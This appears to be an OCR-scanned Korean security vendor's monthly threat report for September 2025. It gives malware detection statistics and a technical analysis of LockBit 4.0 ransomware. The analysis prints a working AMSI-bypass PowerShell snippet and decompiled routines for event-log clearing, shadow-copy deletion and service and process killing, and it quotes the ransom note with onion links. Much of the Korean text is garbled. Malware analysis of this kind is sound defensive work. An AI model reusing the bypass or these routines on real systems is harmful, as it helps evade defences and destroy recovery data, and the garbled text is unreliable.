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2025 9F ot & St AFEXL PCOIM BIX|E ot R EES 2lelet 21t & 76,913212

1 & 7HE HO| EfX|El oM TE QW2 Trojan HEHS| AMTFEFHOMH, 1 F|E Exploit, Virus
SEfO| et T =Tt AFX|FUCE K| =t H| W3 Ransomware, Hacktooldi| CHet EFX| H|Z0|
EACl

FEot XRA =R El Il M2 171210|0, 2 URLO| HRE S10[HZ 3 el Q| I 0|20
m] (e}

2025'F 8% ot &f EfX|El AMTAEO| RS 20lst Z1t Trojan HEHS| AM AT}
49,99171(64.99%)2 2 1&2|E ALt Trojan AHTEE= ALEXIIF LX| ZoHA|
MmOl ZTRIYOR QBI0] ofolxel HSS s ofREO|Ct

0 CIZOR HEEQ ARELOLt SIERI0] 21 HEO| B, Hot 3oy S M4 ZES

ﬂ
mujn

0|28l 2Zst= Exploit HES| AHMTCT}18,243724(23.71%) 22 29I XIXIFLCL
Ol Rp7| AAZR= WSS £ g1, Mo T2 30| 7[4s5to] A== Virus HEf2
o}MICT} 6,57774(8.55%) Q2 1 5= 0|QICt

Virts 9% 1|
Trojan (49991 7)
Exploit (18243 )
Exploit 24% B Virus (6577 )

B ETC (827 )
B Adware (715 7)
I WWorm (322 )
Trojan 65% I Backdoor (158 )
B Soyware (80 )
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@ M TOP 10 EIX| E4|

Application. Agent CRV (2%)
Gen:Variant Application. Miner.2 (3%)

Gen:Variant Tedy. 479462 (4%)
Trojan. Limec Mirai. 1 (4%)

Trojan.GenericKD. 64016530 (5%) Gen:Variant Ransom 795 (32%)

Win32_Virtob.Gen. 12 Dam (6%)

— 100%
Win32_Floxif A (7%)

Win32 Induc A (11%)

Application. HackTool AQU (27%)

[2025 9 ot A= TOP 10 EHX| E4]

2025 98l ot & SOEIX|El AMAEZE TOP 1022 EAIZ LHO| &elst At AL X} PCO|
IIA S ASASH ALEXIILALE Y = S| DHEH US2E E0FE ZUOE WS
QPSH= oM AT EQ|0{Q] TITHHOl Ransom.7957F 19| AHX|ZHCH

1 CHZOR ATER0] B 91F E70j AFBE|E oMy T Fiekel

Application.Hacktool7l 29| 2 EFX|=|RICt Application.Hacktool2 =2 TZ1#S
SHOE ARBY £ 1, XHoE T 240 AMHAET HOE =HE0| =7| 2o
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XtAtol =T el HE S 2025 280l LAE LockBit 4.0 HEA07F =T =|RACE
ol S0 ChohA = =24 E2 Ch31h 2L

8

LockBit #& 0= 2019\ C0l| SEBIA M, 2022'H0] 3.0 HES HESHH RES HES
O|o{2Lt 2024 220l = XAl Ato[H 21 “Cronos Operation”of| 2|8 AEH=[ULY.

Sff LockBit 4.0 EAIE
SA EA[GIRILY.

OF

18 1220 LockBit #H&{0] 212 R& AOIE(DLS)E &9
LHSIFOH, 2025'F 22 30| Z[Al HFQI LockBit 4.02

ZAHHEOZ EA|E LockBit 4.0 HECS| HMY0= LockBit 3.0t =2 RAIEE 7HK|H
Black HZF 1 f Green HEHOZ LIEICH

PowerShellE 0|26
Ho| 7tz 2 kto|Mo 2 %*317(1 QUCH,
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M e HH=F20 M HIO[E S S EXI2 FE0t0] R Uddts AE = & UL

"@( ~)"= E[0{RU= HIOIE{ S| BIE = JH7t EXHSHH, O] HO|ES2 2Hl|o12] H0[E{2t
A0S ZEAF|= HIO|E =2 Sl ECt.

51Hﬂtdth PSVersion.Major -eq 2){%$psFile = $MyInvocation.MyCommand.Definition}

]::5ize -eq 8) {
($env:SystemRoot

; onl', $psFile
argument ){ bArgs += $argument}

-Process %ps $ps86Args -Window
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nped FF07F JAE|7| Ho| @I = CIHEEHS| HAS 22]5H7| {3l AMSI(Anti-Malware

Scan Interface)ol| CHet 22| E A|ESICY,

Original AMSI Bypass CodeZ 2= CIHEZI EF 22 A3 8l0| Hddt= RES
0|23t0] R3|5H= 20| AFRE|RUCE O]= AMSIQ| X£7(3t MIHE QEot7| st giHo=z

L od

AmsiUtils 22|A 2| amsilnitFailed ZE 22 True= AX ST}

0% A3REY ARE KA S 90| 64H[ER MM 326|E2 ChA| Ae|=

O =

1 $am = [ref] Assembly.GetType('System .Management. Automation.Amsi' +
'Utils')

2 if ($am) {

3 $am.GetField('amsi'+'InitFailed’, 'NonPublic,Static').SetValue($null, $true)

DLL LockBit Black 4.0
« PC AKE 20f ol

e[i0003EE2 [[. 53 push ebx

ef1000seez |[. 51 push ecx

e(10009eE4 ||, 52 push edx

e10009es ||, 56 push esi

e(10009ee6 ||, 57 push edi

e[10003EE7 ||, BD45 F8 |lea eax,dword ptr ss:[ebp-sj

e(10003eEA |[. 50 push eax

o[10003EER ||, FF15 80E|E@WN dword ptr di:[lDDlE4BD] ZwQueryInstallUILanguage
e(10003eF1 ||. 8875 F8 |mov esi,dword ptr ss:[lebp-g

o|10005eF3 || 8045 F8 |lea cax,dword ptr ss:febp- a]

ef10009eF7 || . 50 push cax

. o Pfis sag call dwerd ptr ds:[1001E484] NtQueryDefaultUILanguage
>e BB7D FB |mov edi,dword ptr ss:[febp-s]

. . BB 01000{mov ebx,1

o10009F06 ||. C1E3 0A |sh1 ebx,a

e(10009F0a||. 8OF3 01 |xor b1,i

e(10009F0c ||. COE3Z 04 |shl bl,4

o10009F0F ||, 8OF3 09 |xor b1,9

of10009F12 ||. 66:38DE |cmp bx

--e[10009F15 || .~ 74 05 |je a. ps1 Tockbitblack4.0-rc-001 £E_3.10009F1C
o10009F17 ||.  66:38DF |cmp bx

-

10009F1A (| .~ 75 05 jne a. psl lockbitblack4.0-rc-001_&8_3.10009F21
sallinnnasse [l Fa 1entnl3mn 2" net ackhithlacka norr-nn1 =& 2 1fnnanan

SR |0 E @~ X
1
2[longlong FUN_L0009%edc(void)
3
o
5
6 DI;
7| shert local c [4]:
8
8| (*DAT_1001l=480) (local_c);
0| sVarl = local c[0]F r
1| (*DAT_100L y (local_c):
2| if ((((((sVarl !'= Ox4l19) s& (local c[0] '= 0x419)) s& (sVarl '= Ox422)) s
3 ({(local_c[0] '= 0x422 s& ( 1 1= 0x423)) s&
4 {{(local_c[0] '= 0x423 s& ((sVarl != 0x428 s& (local_c[0] !'= 0x428)))))))) =&
5 (sVarl != 0x42b)) &&
6 ((({({{local_c[0] '= 0x42b & (sVarl !'= Oxd2c)) s& (local_c[0] '= Oxd2c)) s&
l ((sVarl '= 0x437 ss& (local_c[0] 0x4378))) && (sVarl !'= 0x43f)) ss
g {{({local_c[0] != 0x43f s& (sVarl 0x440)) &&
g (({local c[0] != 0x440 ss ((( 1 !'= 02442 s& (local c[0] != 0x442)) && (=Varl != 0x443)))
0 ) e& (({local c[0] != 0x443 s& (sVarl != 0x444)) s& (local c[0] '= Ox444)))))) s&
1 1 1= 0x318 gs (local_c[0] '= 0xB1E)p)))) se
2 = Ox819 ss ({{local_c[0] != 0x81% se (sVarl != Ox82c)) s (local c[0] != OxS2c))))
3 Varl != 0x843 ss {local c[0] != 0x843)) &
4 Varl != 0x2301 && (local c[0] != 0x2801))))3300))
5 return (ulonglong)unaff_EDI << 0x20;
& 1
7| return CONCAT44 (unaff_EDI,1):
EIY|
9
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SHH|Of| M AE{H|O[A AN E Efl5Ho

SHH|Of 2X|E AFSAt E{H O] A

A7t LAH ALK E S

Hex (LCID) 104 (Language) X< (Locale / 27})
0x0419 2{A|0t0] (Russian) 2{A|O}
0x0422 <32o|L}o{ (Ukrainian) 23ato|Lt
0x0423 #Hat2 A 0| (Belarusian) HatEA
0x0428 E}X|20{ (Tajik - Cyrillic) EFX|F | AEH
0x042B OF2M|L|0}0] (Armenian) OFZ2M|L|of
0x042C OtM|Z2HL0|Zt0] (Azerbaijani - Latin) OtX|=H}o| =t
0x0437 ZX|0}0f (Georgian) ZX|of
0x043F FFXtE 0| (Kazakh) FHRtS AEt
0x0440 7|27|A0{ (Kyrgyz - Cyrillic) 7|27 |AAEL
0x0442 E2380{ (Turkmen) FEEAM|L|AE
0x0443 LZH|30] (Uzbek - Latin) SZH|F| AE
0x0444 EFEFZ0{ (Tatar) 2{AlO} (EIEIE EB3t= &)
0x0818 20}L|0ot0] (Romanian - Moldova) EcHt
0x0819 2{A|0F (Russian - Moldova) STH}
0x082C OlA|2Ht0|%H0] (Azerbaijani - Cyrillic) OtA|=2HtO| Tt
0x0843 LZXH|30{ (Uzbek - Cyrillic) SEH||7|AE
0x2801 OF&o{ (Arabic) Al2|O} (Syria)
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BA| 21|

e R T T

phkResult_& = 07
ivarl = (*RegCreateKevExW _DAT 1001e5%94)
(0x&80000002, lpSubKevyl 17c + 0Oxl€,0,0,0,0x20L1E,0,sphkResult &,0);
if {iVarl =— 0} {
lpSubKeyl_17c[0x58] = O;
while (iVarl = (*RegEnumEeyW DAT 1001e5as)
(phkResult_ &, lpSubKeyl 17c[0x53], lpScurcelams 334, 0x104),
ivarl !'= 0x103) [
phkResult_c = 07
ivarl = (*RegCreateKeyExW DAT 1001e5594)
(phkResult 3, lpSourceNams 324,0,0,0,0x2011£,0, ephkResulc_c,0);
if {iVarl =— 0} {
lpSubKeyl 17c[0x57] =
ivVarl = (*Reg3etValueExW DAT_1001e5%3)
{phkResult c,lpSubKeyl 17c + 0x53,0,4,1pSubKeyl_ 17c + 0x57,4);
if ({{iVarl == 0} &=
{ivVarl = (*RegSetWValusExW DAT 1001e5%93)
(phkResult_c, lpSubKeyl_17c + 0Ox4c,0,1,1pSubkeyl 17c + 0x33,100),
ivarl == 0)) =&
(hEventlLog_l0 = (*OpenEventLogW DAT 100le&04) (0, lpSourceNams_3£4), hEventLog l0 != 0)) {
(¥ClearEventLogW DAT 1001e&08) (hEventLog 10,0)7
(*CloseEventLog DAT_100leé&0c) (hEventLog_10) ;
}
if (phkResult_c != 0) {
(¥ZwClose DAT 100led&2) (phkResult c);
}
}
1pSubKeyl 17c[0x58] = 1pSubKeyl 17c[0x53] + 1;
}
}

[BfX] 2lo| 2]

2| K| AEZ|2| "HKLM\SOFTWARE\Microsoft\Windows

\CurrentVersion\WINEVT\Channels"= Windows O|HIE 215
OHIE 21 A &MEI 270 AH 22X ofE 8l ZA S 7|52 MSotL! ULt

LockBit 2HM Y= “"HKLM\SOFTWARE\Microsoft\Windows
\CurrentVersion\WINEVT\Channels \*"& ZdAist = s{{eh 62| 7|7} ZXHSHH
“Enabled”?} “ChannelAccess”2| 2f2 &t}

2| K| AE2|0f| A Windows O|HIE 27 MH0| =8 =0j ClearEventLogW &+&
O|23t0] O[HIE 2 IS AMK| A|EBHCY,

X
0x

Value Data

Enabled 0 Hl2td 2}

ChannelAccess

AO:BAG:SYD:(A;:0x1:;:SY)(A;;0x5;::

g kot M3 g
BA)(A; ;0x1;;;LA) SYSTEM Z2[AI2t H2 7t5
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8DES 2BFFFFFF
5
8DES 3BFEFFFF
5

FF15 F4E30110
4 0C

=

Iea eax,awora prr
push eax

push 0
Tea eax,dword ptr
push eax

push dword ptr ss:
€all dword ptr ds:
test eax,eax

ine a. psl 'Iockb1(b1ack4 u]rc

:[Beb;

push dword ptr ss
Tea eax, dword ptr
push ea

Tea eax, et ptr
push

ea
Bl awora pre ds:

add esp,C
mov edx,dword ptr
mov_edx,dword ptr

Tea eax, dword per
push e

Pt e oo o
ptr ds:[edx+40]

call dword
Tea eax,dword ptr
push eax

ssigenp- 2oy

ss:[febp-a4l]

Lebp-18
[ednlo]

. 10009495
£<:[ebp-os]
ss:febp-1c3]
[1001E3F4]

ss:[Jebp-10]
ds:[edx]

ss:|febp-1c3]
Eebp-10]
ss:[febp-2c]]

& SGA EPS Eota[0|E 2025.10

eax:L"win3z_shadowCopy. ID="'{4AC7SDBS-EAD2-4825-AEG0-CF1834FBETF1} "

eax:L"Win3z_shadowCopy. ID="{4AC75DBS-EAD3-4825-AE60-CF1834FB887F1} "

[edx+
eax:L

]:public: virtual long __stdcall CWbemObject::QueryPartInfo(unsigned Tong *)+D5
2. SHadU-\CUpy ID="'{4AC75DBE9-EAD3-4825-AEG0-CF1834FB87F1} "

[ebp-24]

" {4ACT7SDBI-EAD3- 4825 -AEG0-CF1834F887F1}"

in32_shadowCopy. ID="{4ACTSDES-EADZ-4825 -AEG0-CF1834F887F1}""

88
:L"Win32_shadowCopy.ID="{4ACTSDE9-EAO03-4825-AEGO-CF1834FBATF1} "

edx:public:
edx:pubTic:

Tong __thiscall CwbemDataPacket::
Tong __thiscall CwbemDataPacket::

Isvalid(long)+359

Isvalid(long)+359, [edx]:public: virtual long _ stdcdl

eax:L"win3z_shadowCopy. ID="'{4AC7SDBS-EAD2-4825-AEG0-CF1834FBETF1} "

[edx+40]:public: void __thiscall Cuntypedarray::Delete(class CType, class CFastHeap =)+42

eax:L"Win3z_shadowCopy.ID="'{4AC75DB9-EAD3-4825-AE60-CF1834F587F1} "

[WMIZ 0|28 MES TIUS ALH|]

WMI(Windows Management Instrumentation)S 0|238t0] =2 IS A

=7 FHetE ARttt

un

Nz

- Ho
=]

EROU2 28 MR SAES
O == =
Wy —/ o

=
HHRAO[Lt
=53} 2 2X1HI ROOT\CIMV2, D, SELECT * FROM Win32_ShadowCopy, WQL,
Win32_ShadowCopy.ID='%s'E 0|80 MT<? ID HEE ZAMstn
& SOI0] AH| Al =otCt

oT =

HEMo=

fastprox.dll2| Delete

« MH|A Z= S AH AE

] ’ﬁm— e Gk |2 @~ X
34 1iVarl = (1nt)uvard; A
40 while (iVarl != 0) {

41 SC_HRNDLE c = (int)SC_HRNDLE 3;
42 uVar2 = FUN_1000%cl4 (h3CManager 2, (int) ((ulonglong)3C_HRNDLE 3 »>» 0Ox20),*lpServices_2);
43 SC_HRNDLE 3 = CONCAT44((int) ({ulonglong)uVar2 >» 0x20),5C_HANDLE cj;
44 hSCManager 2 = extraout ECE 007
435 if {{int)uVar2 != 0) [
48 5C_HRNDLE 3 = (*0penServiceW DAT 100leS5h4) (SC_HANDLE &,*lpServices_2,0x10020);
47 5C_HRNDLE c = (int)SC HANDLE 3;
48 hSCManager 2 = extraout ECE 01;
J 49 if (SC_HRNDLE c != 0) {
A 50 (*memset_DAT 1001e3bc) {local_34,0,0xlc);
51 (*ControlService DAT 1001e5c8) (SC_HAWDLE c,0b0000000L,local_ 34);
52 (*DeleteService DAT_1001eScc) (SC_HRNDLE c);
53 (*CloseServiceHandle DAT 1001e5d0) (SC_HANDLE c);
54 5C_HALNDLE 3 = CONCAT44 (extracut EDX,5C HANDLE cj:
55 hSCManager 2 = extraout ECK 027
56 }
ad 1
58 SC_HRNDLE c = (int)SC_HRNDLE 3;

I 59 lpServices_2 = lpServices_2 + Oxb:

d 60 lpServicesReturned_lZ = lpServicesReturnsed 12 + -1;

1 s ivarl = lpServicesReturned 18;

62 1

J g2 1

[MHIA B2 3]

SE=E = oxroioomore)
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EXE 2315 TIdst s 0| MH|AS SX|E EXIEE0| ZetEl g2 0]8310] PCY|
SZ2& MH|AS| EE8 H| Wit
H|st 2XtE0| Z2™ ControlService &4 0|235t0] I|sH PCOl| S22 & MHIAE SX|5t1

DeleteService E*—’FE =KX=l MH|AE AbH|SHCE

HIwE A= EAE2 1471X(0[H, H|woh= 552 Chs1t 2Lt

M

vss, sql, sve$, memtas, mepocs, msexchange, sophos, veeam, backup, GxVss, GxBIr, GxFWD,
GxCVD, GxCIMgr

e IZNASE

mpile: FUN_100 {a.ps1.hin) G iRo || B @ X
18| do { 2
20 Returnlength c = 0x400;
21 SystemInformation 10 = (int *}RtlAllocateHeap_l00036d0 (0x400);
22 while (iVarl = (*NtQuerySystemInficrmation DAT 100le4ld)
23 {0x5, SystemInformation 10,Returnlength c, sReturnlength cj,
24 piVar2 = SystemInformation_l10, iVarl != 0} {
25 if {ivarl !=
26 RtlFeeHeap_FUN_100086£3(SystemInformation_10);
27 return;
28 }
25 SystemInformation 10 = (int *}RtlRelllocateHeap 10008720 (SystemInformation 10,Returnlength_c};
30 }
S do {
32 iVarl = *piVar2;
33 if ((piVar2[0xf] !'= 0) s& (STATUS 2 = FUN_10009d74 (piVar2[0x£]), STATIUS 2 != 0)) {
34 ClientId 18[0] = piVar2[0x11];
35 ClientId 18[1] = 07
36 ObjectAttributes_30 = 0x1&;
a7 local 2c = 07
38 local 28 = 07
35 local 24 = 07
40 local 20 = 07
41 local_lc = 07
42 STATUS 2 = (*NtOpenProcess_DAT 1001e=404)
43 {&FrocessHandle &, 1, e0bjecthAttributes_30,ClientId 1&);
44 if (STRTIUS 2 == 0) {
45 {(*NtTerminateProcess_l001le4&0) (ProcessHandle &,0) 7
46 {*ZwClose_DAT_1001e4&8) (ProcessHandle 8);
47 }
48 }
49 piVar2 = (int *) {({int)piVar2 + iVarl);
50 } while {iVarl != 0):
51 RtlFecHeap FUN_100036£2(SystemInformation_10)7
52 (*5leep 100le4cE) (2000) ¢
53| |} while{ tru=s });
54|}
55 W

[Z2MA B2 A

Sga [ESTENES
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de0fe] et utd S| 58 ME|A Bz 7[si 58 ZEMAE S=ot= 7[s0l

NtQuerySystemInformation 2=2f NtOpenProcess 2f%, NtTerminateProcess &+S

olgsiol ZRHAS F2 AlZICH

S= N7l EE Z2MA 252 317HK| 2 2elk|H, 552 Chsat 2Tt

—_ 171 =

sql, oracle, ocssd, dbsnmp, synctime, agntsvc, isglplussvc, xfssvccon, mydesktopservice,
ocautoupds, encsvc, irefox, thirdconfig, mydesktopgos, ocomm, dbeng50, sgbcoreservice,
excel, infopath, msaccess, mspub, onenote, outlook, powerpnt, steam, thebat, thunderbird, visio,

winword, wordpad, notepad

undefinedl local 14 [16€]:

puVari = (ushort *)RtlAllocateHeap 10008640 (0x18);
if {puVar3 !'= {ushort *)0x0) [
*puvVar3 = Ox2e;
(*MDS5Init 1001e584) {local &c)-
iVard = FUN_10008%ac(local_sc);
if (iVard !'= 0} {
(*MD5SUpdate 1001e588) (local éc,local ec,iVard * 2):r
(*MDSFinal_100le58c) (local_g&c);
Basefd Fun_1000140c{extraout_ECX,extracut_ED¥, local_l4,0x10, (undefined4 *)local_loc);
local 103 = 07
pbVars = local 1l0c:
puVart = puVar3;
while({ trus } [
puVaré = puVare + 1;
bVarl = *pkVars;
uVar2 = (ushort)bVarl;
rl == 0} break;
L= "+") {
r2 = L'x';

}
glae if (EVarl == "/") [
uvarz = L'i';
}
glse if (bVarl == '=") |
uVar2 = L'z";
}
YpuVaré = uVar2;
pbVar> = pbVars + 1;
}
*puVare = 0

return puvVari;

SE=E = oxroioomore)
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Lockbit A= SEXIE MASHD THUo|| ME5HH, It Lot Adl oEE SEXI2
AlHSICE MM DPH2 RSA € 112[52] Rublic Key2| MD5 SHA|S MDS5Init, MD5Update,
MD5Final &£ 0|83t SHA| 242 YA otCt.

3U|:l

|D:| HetEl g F0” EHoH E}A| MD5 OHM y% AH é’,' gcl
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undefinedd _ fastcall FUN_10010ef4 {undefinedd4 param 1,undefinedd param 2,ushort *param 3)

int *pivVarl;
undefinedd uVari;
undefined4 local I;

local 8 = 07

if (DAT 100ldecd != (int *)0x0) {
uVarZ = Rorl3AddStringHash 100011£0 (param 1,param 2,param 3,0);
param 2 = (undefined4) ((ulcnglong)uVard >> 0x20):
piVarl = DAT_100ldecd;

do |

if (*piVarl == 0) goto LAB 10010f3cy
1} while ({(int)uVar2 != *piVarl) e&& (piVarl = piVarl + 1, {(int)uVar2 != -0xlcbd932%)):
local 2 = 15

}
LAB 10010£f£3c:

return CONCAT44 (param 2,local_2);
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'$recycle.bin’, 'config.msi', '$windows.~bt', '$windows.~ws', 'windows', ‘appdata’, ‘application
data’, 'boot’, 'google’, 'mozilla’, 'program files', ‘program files (x86)', 'programdata’, 'system
volume information’, 'tor browser', 'windows.old', ‘intel', 'msocache’,

‘perflogs’, 'public’, ‘all users', 'default’, 'x64dbg'

Mol o =Xt

‘autorun.inf', 'boot.ini', 'bootfont.bin', 'bootsect.bak’, 'desktop.ini',

‘iconcache.db’, 'ntldr', 'ntuser.dat’, 'ntuser.dat.log’, 'ntuser.ini', 'thumbs.db'

M2 =& =X}

‘386, 'adv', ‘ani', 'bat’, 'bin’, 'cab’, 'cmd’, ‘com’, ‘cpl’, 'cur’, 'deskthemepack’, 'diagcab’, 'diagcfg’,
'diagpkg’, 'dIl', 'drv', 'exe’, 'hlp', 'icl', 'icns', 'ico’, 'ics', 'idx’, 'Idf', 'Ink’, 'mod’, 'mpa’, 'msc’, 'msp’,

'msstyles’, 'msu’, 'nls', 'nomedia’, 'ocx’, 'prf', 'psT’, 'rom’, 'rtp’, 'scr', 'shs', 'spl’, 'sys’, 'theme’,

‘themepack’, ‘wpx', 'lock’, 'key', ‘hta’, 'msi’, 'pdb’

it 4.0 - the fastest, most stable and immortal ransomware since 2019w~~~ ~
=x3¥> You must pay us

Tor Browser Links BLOG where the stolen infortwation will be published:
( often times to protect our web sites from ddos attacks we include ACCESS KEY - ADT|SZRLYUMKDJ34RCEZFNOBBNKLEYKYSEFZPHNKAS2RSHOENUA )
hittp://lockhit3763ek iocyobepnpyBk Imejchj tzddoek] IntBnudahdde2id. onion/
http://lackbitdg3ohd3kat a) fBzashxzahdcnhnz5t 73520 | t ywhwpcBov3id.anian/
http://lockbit3olpToet |cdt |5zydnoluphh7ivdt SoaBarcp2757r Txkut id.onion/
http://lockbit436xk3k | B2yunTzEnhwz6jv] dp2e64) bygebasi f2eny3at id.onion/
http://lockbitdlahhluguhokadt dspayn2Zn3dheBBdEl r337a I nn lag2nndad . onion/
http://lockbitBknrauo3qafoksy | 742vieqbujxw?rdBofzdtapjbdrrawgad.onion/
http://lockbitTouvrsdgtoleoishvuBbl jatahitekwedy3bByB2ixtsusiad.onion/

=x>>> What is the guarantee that we won't scam wou?

We are the oldest extortion gang on the planet and nothing is more important to us than our reputation. We are not a politically motivated group and want nothing but financial rewards
for our work. If we defraud ewen one client, other clients will not pay us. In 5 years, not a single client has been left dissatisfied after making a deal with us. If you pay the
ranson, we will fulfill all the terms we agreed Upon ouring the negotiatinn process. Treat this situation sinply as a paid training session for your system administrators, because it
was the misconi iguration of your corparate network that allowed us tn attack yno. Dir pentesting services should be paid for the sane way you pay ynur system aiministratnrs’ salariss,
You can get more information sbout us on Elon Musk's Twitter at https://twitter com/hashtag/lockbit?i=ive.

»xx»> Warning! Do not delete or modify encrypted files, it will lead to irreversible problems with decryption of files!

5335> Don't go to the police or the FE| for help and don't tell anyone that we attacked you. They will forbid vou from paying the ransom and will not help vou in any way, wou will be

left with encrypted files and vour business will
LockBit Black

All your important files are stolen and encrypted!
You must find R4SZPhslZ.README.txt file

and follow the instruction!
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- &X: https://www.boannews.com/media/view.asp?idx=139390&page=1&kind=1
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https://www.boannews.com/media/view.asp?idx=139390&page=1&kind=1
https://www.boannews.com/media/view.asp?idx=139188&page=10&kind=1
https://sgaeps.kr/product/VirusChaser_10TM_AI
https://sgaeps.kr/product/PatchChaser
https://sgaeps.kr/product/VirusChaser_MyInspect
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